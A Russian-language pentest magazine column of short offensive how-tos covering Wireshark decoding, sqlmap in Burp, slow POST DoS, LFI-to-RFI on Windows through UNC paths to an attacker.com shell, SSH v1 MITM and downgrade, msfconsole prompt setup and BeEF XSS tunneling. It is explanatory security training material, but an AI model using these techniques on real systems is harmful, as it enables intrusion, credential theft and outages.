Содержание статьи
Изменение парсера в Wireshark
Решение: Wireshark — анализатор протоколов (или сниффер). Прекрасная тулза, во многом незаменимая. Она не случайно входит в десятку самых необходимых хак-софтин. Конечно, ее главным плюсом являются разнообразнейшие диссекторы, то есть «парсеры» тех или иных протоколов, которые Wireshark «интеллектуально» применяет в зависимости от протоколов, портов и прочего. Но если с низкими протоколами (IP, TCP, ARP, Ethernet) чаще всего все достаточно просто, то с верхними, уровня приложений, частенько возникают трудности. Особенно когда используются нестандартные связки (инкапсуляция) протоколов или нестандартные порты.На самом деле это небольшая проблема. Хотя некоторые и не в курсе, но Wireshark позволяет четко указывать, какой уровень и каким диссектором парсить. Все, что требуется, — выделить «странный» пакет по правой кнопке, выбрать «Decode as…» и указать необходимый протокол. В качестве практического примера могу отправить к разбору процедуры аутентификации клиентом на MS SQL сервере без включенного обязательного шифрования трафика.
WARNING
Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
Прикрутить sqlmap к Burp suite
Решение: Данный пост трудно назвать задачей, скорее это некая приятность для пентестера, которой я и хочу поделиться.
Ползая между различными проксиками типа Webscarab, ZAP, Burp и так далее, я в итоге (или пока что) остановился именно на Burp’е. Имхо, Webscarab подводит количество багов и отсутствие новых версий, а ZAP — некая недоразвитость… В то же время такая тулза, как sqlmap, которая используется для продвинутой раскрутки SQL-инъекций, тоже очень хороша и местами приятно выделяется на фоне конкурентов. Хотя с ней есть некоторые трудности. А именно — с увеличением функционала количество консольных параметров разрослось до неадекватного :). То есть без GUI с ней работать не очень удобно. Хотя надо отметить, что пучок сторонних гуев к ней имеется. Но дело не в этом. Чисто по-человечески приятно, когда у тебя «все под рукой» и когда работа по возможности автоматизирована. И похоже, не я один так думаю. Как и у собратьев Burp’а, у него самого есть система добавления дополнительных плагинов, что иногда очень выручает (но об этом лучше написать отдельную статью). Так, добрый пентестер под ником cr0hn взял и реализовал аддон к Burp’у — GUI-прослойку для sqlmap. Теперь, прикрутив плагин, мы должны всего лишь выбрать необходимый URL, кликнуть правой кнопкой и отправить его в гуишку. А далее уже работать с sqlmap через этот гуи. В качестве дополнительного бонуса гуя сейчас имеется поиск по выводу и его экспорт в файл (то есть лучше обыкновенной виндовой консоли).
С точки зрения прикрутки плагина, все, что нам требуется, — выполнить следующие действия:
- Скачать плагин с goo.gl/tNf9M.
- Разархивировать его в папку к Burp’у.
- Изменить suite.bat на:java -classpath burpsuite_name.jar;plugin_name.jar burp.StartBurp.
Проверить устойчивость веб-сервера к slow POST
Решение: В прошлый раз мы начали разбирать классические и не очень классические DoS-атаки на веб-серверы. Сегодня продолжим, поэтому я опускаю вводную часть.
Итак, позвольте представить атаку slow HTTP POST DoS. Название ее определенно говорящее. Идея атаки в том, чтобы уложить HTTP-сервер за счет использования «медленных» POST-запросов на сервер. Так, в заголовке POST-запроса клиент передает серверу Content-Length большого значения, а после удачного запроса начинает очень медленно передавать данные. Веб-сервер получает такой POST-запрос, видит в нем Content-Length и ждет соответствующее значение данных в теле запроса, но, как я уже сказал, данные приходят к нему медленно, по чуть-чуть.
Таким образом, атакующий, имея под своим контролем небольшое количество хостов (возможно, даже один), может создавать такие «висящие коннекты» и израсходовать ресурсы сервера, так что тот не сможет отвечать легитимным клиентам. Исчерпавшиеся ресурсы могут быть различны. Например, можно занять все потоки или занять ими всю память.
Как видно, данная атака основывается на «уязвимостях» самого протокола HTTP. Ведь мы не вылезаем за рамки протокола, а эмулируем множественное подключение медленных клиентов. То есть с точки зрения логов, если все настроить правильно, жертва может долго не догадываться о причинах падения ее сервака. Такая «нормальность» атаки рождает достаточно неприятную проблему — от нее непросто защититься.
Если посмотреть более общим взглядом, то можно заметить, что данная атака во многом похожа на описанный в прошлом номере Slowloris. Да и вообще вспоминаются разнообразные олдскульные атаки, типа SYN-flood’а, — история повторяется на новом уровне. Но даже с учетом большого сходства Slowloris и Slow POST’а они достаточно различны с точки зрения атакующего потенциала. Как минимум если, используя Slowloris, можно завалить в основном Apache-подобные веб-серверы, то slow POST’у подвержены почти все основные серверы. Это и тот же Apache, и все версии IIS, и что-то альтернативное вроде lighttpd. Что касается nginx, то ситуация с ним не совсем ясна. Чисто теоретически он не должен быть подвержен такой атаке, но фактически, с учетом тех или иных настроек его самого и ОС, на которой он крутится, иногда получается его завалить.
Что еще «страшно», — как и Slowloris, реализовать атаку не составляет труда, используя любой скриптовый язык… Но извращаться нам ни к чему, так что отправляемся за официальной тулзой от OWASP — goo.gl/lUDmB.
Раскрутить LFI до RFI под ОС Windows
Решение: LFI (Local File Include) — одна из очень распространенных веб-уязвимостей. Суть ее в том, что при некорректной фильтрации ввода или ее отсутствии (либо какой-нибудь логической дыры) мы имеем возможность подгрузить произвольный скрипт, который исполнится на веб-сервере.
Простейший пример скрипта на PHP будет выглядеть следующим образом:
<?php
…
include $GET[‘file’];
…?>
Таким образом, если мы передадим такому скрипту в параметре file имя какого-то еще PHP-скрипта, то PHP при его исполнении попытается подгрузить скрипт из параметра и исполнить его. Хорошо, но нам, как атакующим, ведь интересно не просто что-то подгрузить из функционала веб-приложения, нам ведь нужен шелл. И здесь у нас возникает желание подгрузить скрипт с нашим контентом. Как это сделать? Способов есть несколько. Конечно, самый простой — расположить наш PHP-шелл на каком-нибудь еще веб-сервере и указать полный путь до файла в виде:
http://attacker.com/shell.php
Но данный способ срабатывает не часто, так как в конфигах PHP есть опция, запрещающая подгрузку удаленных файлов. Казалось бы, все, здесь нас больше ничего хорошего не ждет и надо искать другие, локальные пути. Да ведь запреты запретами и теория теорией, а в жизни у нас есть топор в рукаве :).
Вообще, мне лично очень интересны кросстехнологичные баги-фичи. Об одной из них мне недавно рассказал Алексей Синцов (вот ведь, на все руки мастер :)), чем меня очень порадовал. Фича оказалась достаточно простой, но позволяющей обойти упомянутый запрет на загрузку файлов с удаленных хостов.
Все, что нам требуется для обхода ограничения, — это, во-первых, чтобы веб-сервер с PHP был запущен под Windows, а во-вторых, указать путь до нашего файла в виде:
\\attacker.com\shell.php
То есть как будто до виндовой шары. Как ни странно, данный способ работает. И похоже, потому, что схема подключения здесь не указывается. На всякий случай еще раз отмечу, что данный способ сработает, только если ОС — винда, так как только в ней действует данное «сокращение» на уровне API.
Но и это еще не все. Очень часто веб-серверы находятся за файрволами, а потому обратиться напрямую по шаре через интернет к веб-серверу нам вряд ли удастся. Но интересно, что мы можем указать порт, по которому он к нам будет коннектиться:
\\attacker.com:31337\shell.php
Таким образом, мы можем пробрутить порты и найти, какой из них разрешен. Здесь важно отметить, что если указан порт, отличный от стандартного, то подключение уже будет происходить не по SMB, а по WebDAV.
Итак, мы имеем такую последовательность действий:
1. Понять, что ОС — Windows.
2. Поснифать на attacker.com трафик и, брутя порты, понять, где есть «дырка».
3. Поднять на данном порту анонимный WebDAV или шару.
4. Выложить на нее шелл и подгрузить его.
5. Радоваться совершенному!
Получить логин и пароль от SSH
Решение: SSH — один из основных протоколов для удаленного защищенного взаимодействия в Сети, является одним из главных админских интерфейсов. И если атаки на другие интерфейсы (Web, SSL, RDP) мы уже разбирали в Easy Hack, то SSH почему-то обошли стороной. Что ж, исправляемся.
Итак, давай представим простую ситуацию: есть сетка, есть админ, есть сервер с открытым SSH, которым активно пользуется админ для удаленного администрирования. Нам же необходимо получить доступ к данному серваку. И как же это сделать? Ответ: сейчас чаще всего — никак :). Ну, в смысле не совсем никак, но точно не через SSH. Здесь слабое звено стоит искать либо в других сервисах сервера, либо в самом админе… Причины — высокая защищенность последней версии SSH на уровне протокола и малое количество эксплойтов под ПО… Хотя я, наверное, перегибаю палку, говоря «никак». Все же пути есть.
Конечно, первое, что приходит на ум, — bruteforce. Тогда THC Hydra нам в руки и в бой! Но возможно, это и не потребуется, если нам повезет. А наше везение во многом зависит от того, насколько стар атакуемый сервер.
Наш шанс в том, что он будет поддерживать SSH версии 1. Эта версия протокола SSH имеет серьезную проблему, которая позволяет нам, атакующим, провести классическую man-in-the-middle атаку и в итоге видеть незашифрованный трафик.
В общем виде атака представляет собой следующий процесс:
- Мы проводим ARP-спуфинг между админом и сервером и таким образом контролируем передаваемый трафик.
- Админ коннектится на сервер по SSH.
- Сервер отправляет свой открытый ключ клиенту.
- Мы подменяем этот ключик на свой.
- Клиент SSH админа выбирает шифрование, генерит сессионный ключ, шифрует его открытым ключом сервера и отправляет его.
- Так как клиент зашифровал сессионный ключ нашим открытым ключом, то мы его расшифровываем и передаем дальше серверу.
- Зашифрованное соединение на основе сессионного ключа установлено. Но мы знаем этот ключ, а потому можем расшифровывать проходящий через нас трафик.
Этот процесс показан на рисунке. Фактически данную атаку можно реализовать с помощью Ettercap или Cain.
Теперь же самое важное — как много осталось серверов, которые поддерживают SSH v1? Точно я не скажу, но во время проведения пентестов они систематически попадаются. Сама атака стала общеизвестна году так в 2000–2001-м. А потому почти все новые серваки и железки поставляются уже с правильной версией SSH. Но в то же время всякое пятилетнее оборудование может быть уязвимо. Особенно это относится к сетевому оборудованию и всевозможным нестандартным железкам (например, контроллерам), безопасностью которых производители плохо занимаются. Как практический пример — посмотри на shodanhq.com.
Но и это еще не все. На самом деле не все и не сразу перешли на SSH v2, был и переходный период, когда серверы для обратной совместимости поддерживали и первую, и вторую версии SSH. И таких серверов тоже есть пучок, и их мы тоже можем атаковать. Здесь нам поможет SSH Downgrade атака.
Чтобы все сразу стало ясно, следует сказать о том, как сервер показывает, какие версии SSH он поддерживает. Все очень просто. При подключении по SSH сервер открытым текстом отвечает клиенту одним из трех видов сообщений:
SSH-1.5 — поддерживается только SSH версии 1
SSH-1.99 — поддерживаются SSH версии и 1, и 2
SSH-2.0 — только версия 2
То есть, просто подключившись к серверу, мы можем понять, насколько он уязвим. Принцип работы SSH Downgrade, я думаю, теперь понятен: когда клиент коннектится к серверу, мы подменяем ответ от сервера (опять же используя MITM) c текста «SSH-1.99» на «SSH-1.5». Клиент думает, что сервер поддерживает только SSHv1, и подключается, используя его.
Конечно, здесь еще многое зависит и от настроек клиентского ПО. Но, например, тот же де-факто стандартный виндовый SSH-клиент PuTTY поддерживает SSH версии и 2, и 1 (см. скриншот). Практическую реализацию показывать не буду, так как Cain, например, проводит эту атаку на автомате (downgrade + pass sniff = ARP-SSH-1), когда используется ARP-спуфинг.
Если же есть желание самому потренироваться, то вот линк — goo.gl/mqgZY.
Настроить под себя Metasploit Framework console
Решение: Metasploit Framework стал одним из главных пентестерских инструментов. Оно и понятно: в него портируется много сторонних тулз, паблик эксплойты постоянно добавляются, расширяется функционал — то есть проект постоянно растет и развивается.
Несмотря на то что у MSF есть несколько видов GUI, очень многие все равно пользуются его консольной версией — msfconsole. Не так давно я обнаружил, что его можно настроить под себя и сделать информативней.
Например, при запуске msfconsole мы видим приглашение «msf>», которое не очень-то полезно. Но оказывается, все можно изменить. В msfconsole есть параметр, который отвечает за то, что будет отображаться. И имя ему — PROMPT. Установка значения переменной осуществляется стандартными командами: «set» — настройка будет применена в рамках данной сессии, «setg» — настройка «навсегда», то есть сохранится в пользовательском конфиге.
Например, следующей командой мы указываем выводить IP-адрес в начале каждой команды (что очень удобно, так как сразу понятно, что выводить в LHOST для модулей):
set PROMPT %L
В итоге мы получим примерно следующее:
192.168.0.1>
Кроме %L, которая ответственна за вывод локального IP-адреса машины, есть еще и другие. Далее полный список:
%D — путь локальной директории
%H — hostname атакующего
%J — количество запущенных модулей (job)
%L — IP-адрес атакующего
%S — количество имеющихся сессий
%T — timestamp
%U — имя пользователя, запустившего msf
Кроме того, есть еще дополнительные фичи. Во-первых, для %T можно указывать формат временных меток, используя еще одну переменную — PromptTimeFormat, с указанием параметров (%d — день, %m — месяц, %y — год и так далее). Во-вторых, для удобства имеется возможность использовать цвета — их достаточно много, и именуются они по первым трем буквам названия на английском: %yel — желтый, %red — красный и так далее. Ну и кроме того, все, что начинается не с %, будет отображаться как текст.
Таким образом, мне кажется, удобная консоль будет иметь настройку (также см. скриншот):
set PROMPT %L %redS:%S J:%J
Организовать туннель через XSS
Решение: Итак, опять представим себе ситуацию. Есть сервер с административным веб-интерфейсом, есть админ и есть мы, а хотим мы поовнить данный сервачок. Предположим, что каких-то сверхкритичных уязвимостей на вебе найдено не было, а только, скажем, XSS’ка. И вроде бы все отлично: хватай XSS’кой куки, и вперед! Но как бы не так. Как минимум, проблемой может стать установленный сервером для кукисов флаг HTTPOnly, который не даст нам возможность вынуть их из браузера админа. Другой проблемой может стать фильтрация по IP доступа к веб-серверу или к самой админке. И что же тогда делать? Организовать туннель через XSS. Что бы там ни говорилось о продвинутом использовании XSS’ок, но самым мощным payload’ом, я думаю, является как раз XSS-туннель. Зачем нам аутентификационные куки, когда мы можем напрямую выполнять какие-то действия на сайте от имени нашей жертвы?
Но постой. Давай посмотрим, что же такое XSS-туннелинг. Если говорить в общем, то это специальный JavaScript, который подгружается XSS’кой нашей жертве. Далее этот JS открывает какую-нибудь страницу на атакуемом сайте и полностью ее нам пересылает. Мы видим ее в своем браузере, кликаем, куда нужно, но наши действия не выполняются браузером, а передаются обратно в этот JS, который и произведет необходимые действия на атакуемом сайте, но от имени жертвы. Причем жертва об этом не будет догадываться.
Описание, конечно, очень общее, для понимания идеи. На практике все происходит несколько сложнее, количество элементов несколько больше, и это мы сейчас рассмотрим на примере BeEF.
BeEF — это специальный фреймворк для проведения мощных и глубоких атак на браузеры с использованием XSS’ок. На самом деле, может быть, не очень хорошо получается, что описывать такую прекрасную вещь, как BeEF, мне приходится в несколько строк, ведь она заслуживает отдельной статьи. Но я думаю, что в следующих выпусках мы это поправим.
Итак, BeEF представляет собой трехкомпонентную систему:
- Браузеры жертв — hoocked browsers. Браузеры, в которые нам удалось подгрузить свой, а точнее BeEF’а, JavaScript-код.
- Ядро BeEF’а — главное связующее и всеобрабатывающее звено.
- Интерфейс BeEF’а, к которому атакующий подключается, используя свой браузер, и через который он может «управлять» жертвами. На самом деле не совсем управлять, а скорее запускать те или иные атакующие модули.
Если посмотреть на это в процессе, то атакующий с помощью XSS’ок или просто заманив жертву себе на сайт, подгружает ей в браузер JS BeEF’а. Данный JS «устанавливает соединение» с ядром фреймворка и ждет от него команд (систематически стучится). Атакующий через интерфейс может указать действие для какого-нибудь из браузеров жертв, выполнить сканирование портов например. Ядро, получив от атакующего команду, переправит к жертве еще дополнительный кусок JS, который исполнит указанную команду (то есть сканирование портов), а результат отправится обратно в ядро. Кроме сканирования портов, можно в любой момент подгрузить какой-нибудь эксплойт, например, и захватить контроль над тачкой. На самом деле это очень мощная штука. Получается, что люди как бы садятся на крючок…
Но вернемся к туннелю. Одним из атакующих модулей BeEF’а является Tunnel Proxy (aka XSS-туннель).
Для того чтобы сделать XSS-туннель, нам потребуется прописать в нашем браузере специальный прокси-сервер от BeEF’а (по умолчанию 127.0.0.1, порт 6789). После этого все клики в нашем браузере (тоть е HTTP-запросы) будут обрабатываться этим прокси. Данный прокси, получая запрос от атакующего, модифицирует его специальным образом и переправляет JS модулю BeEF’а в браузере жертвы. Этот модуль выполняет запрос на атакуемый сервер, но от имени заXSS’енной жертвы. Результаты запроса (HTML-страничка) получаются этим JS-модулем BeEF’а и переправляются обратно в ядро BeEF’а. Оттуда данные конвертируются и передаются на BeEF прокси, который, в свою очередь, отображает страницу для браузера атакующего. То есть фактически атакующий видит то, что «видит» жертва. Далее атакующий может выполнить еще какое-то действие, например ввести какую-нибудь форму и отправить ее. Все эта операция повторится, JS BeEF’а отправит от имени жертвы данный запрос, и результаты его попадут обратно атакующему.
Думаю, что теперь все стало достаточно понятно. Как видишь, это фактически удаленное управление. Теперь о плюсах, минусах и тонкостях. Важно помнить о том, что отправляемые JS-модулем BeEF’а запросы от браузера жертвы на атакуемый веб-сервер (админку) будут содержать аутентификационные куки в заголовках, то есть атакующий будет иметь аналогичный доступ в админке, что и жертва. Во-вторых, большим плюсом здесь является то, что жертва не знает о действиях, которые производит атакующий от ее имени. Это возможно потому, что мы можем, например, заманить жертву к нам на сайт, а на нем в скрытом фрейме открыть сайт-админку и через XSS’ку в нем подгрузить JS от BeEF’а. И пока жертва будет на нашем сайте, мы можем производить нашу атаку.
Атака становится еще более опасной, когда мы находимся в одном сегменте с админом (жертвой) и можем проводить MITM-атаку (arp-spoofing, например). В данном случае мы можем вставлять такой скрытый фрейм во все открываемые админом веб-страницы (которые передаются по HTTP) и поддерживать атаку, таким образом, до победного конца.
Из минусов и тонкостей стоит отметить, во-первых, то, что, в отличие от многих других модулей BeEF’а, при Tunnel Proxy JS BeEF’а должен быть подгружен именно через XSS на атакуемом сайте. Это важно для того, чтобы не нарушать кроссдоменные политики (SOP) и иметь возможность выполнять аутентификационные запросы и получать на них ответы. А во-вторых, так как у нас есть передающее звено (JS-модуль BeEF’а) и мы работаем не напрямую с сервером, то могут возникнуть трудности практического плана — с отображением контента или не очень корректной работой с запросами, когда используются какие-то странные технологии :).
Опять же, с точки зрения совсем практической, здесь особо рассказывать нечего: требуется выбрать жертву, указать модуль TunnelProxy и настроить свой браузер на прокси BeEF’а. Здесь лучше все своими глазами увидеть (goo.gl/SdHB8), а еще лучше — попробовать своими ручками.
Вот и все, надеюсь было интересно. Успешных ресерчев и познаний нового!
